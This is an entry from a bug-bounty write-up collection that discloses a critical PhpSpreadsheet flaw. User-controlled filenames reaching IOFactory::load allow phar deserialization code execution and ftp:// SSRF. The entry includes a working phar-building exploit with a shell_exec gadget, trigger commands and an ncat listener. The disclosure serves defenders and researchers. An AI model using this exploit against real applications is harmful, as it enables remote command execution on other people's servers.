# PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled

PhpSpreadsheet's File::assertFile uses is_file() which honors php wrappers, so user-controlled filenames via IOFactory::load enable phar deserialization RCE and ftp:// SSRF.

- Payout: Research
- Severity: critical
- Program: PhpSpreadsheet
- Found by: calligraf0
- Disclosed: 2026-04-29
- CVE: CVE-2026-34084
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-q4q6-r8wh-5cgh
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-q4q6-r8wh-5cgh
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:php technique:source-review vuln:deserialization vuln:rce vuln:ssrf

**Target:** PHP library file-loading API (IOFactory::load / File::assertFile)
**Root cause:** File::assertFile validates the filename with is_file(), which is php-wrapper aware and returns true for stat()-implementing wrappers like phar://, ftp:// and ssh2.sftp://, so wrapper paths pass validation and are then opened by the reader.
**Steps:**
1. Build malicious phar with php.ini `phar.readonly=0`: `php -c php.ini make_phar.php` creates `exploit.xlsx` whose metadata is a gadget with `__destruct` calling `shell_exec`.
2. Call `IOFactory::load($filename)` with attacker-controlled `$filename` = `phar://exploit.xlsx/test`.
3. Phar metadata is deserialized during stream open, triggering the gadget's `__destruct` and executing the command (e.g. `touch /tmp/poc.txt`).
4. For SSRF: run `ncat -lvp 21` and call `php test.php ftp://127.0.0.1:21/test`; observe inbound connection to 127.0.0.1:21.
**How found:** Noticed that File::assertFile relies on is_file() for validation, then reasoned that is_file is php-wrapper aware for wrappers implementing stat(), and tested phar:// and ftp:// paths against IOFactory::load.
**Exploitation:** Attacker supplies a filename to any app passing user input to IOFactory::load. A phar:// path deserializes attacker-controlled metadata, and any POP chain available in the deployment (PhpSpreadsheet's own XMLWriter gadget is blocked by __unserialize, but wrappers like maatwebsite/excel add gadgets) yields RCE; ftp:// or ssh2.sftp:// paths force the server to make outbound connections for SSRF. Trigger fires even when the inner file is missing/unsupported, so it can be silent.
**Escalation:** Phar deserialization escalates SSRF-class file access to RCE via POP gadget chains in the host application's dependency graph.
**Insight:** When a library validates a path with is_file()/file_exists() before opening it, test wrapper schemes (phar://, ftp://, ssh2.sftp://) that implement stat() — validation passes but the open still honors the wrapper. Note stream_is_local() treats phar:// as local and won't block it.

## Proof of concept (copied exactly from the original report)

**Malicious phar builder with gadget metadata**

```
class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$pop = new GadgetClass('touch /tmp/poc.txt');

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();

rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";
```

**RCE trigger via phar wrapper filename**

```
php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt
The file `/tmp/poc.txt` should now be present on disk.
```

**SSRF trigger via ftp wrapper**

```
ncat -lvp 21 #run on another terminal
php test.php ftp://127.0.0.1:21/test

Observe a connection is made to `127.0.0.1` on port `21`.
```

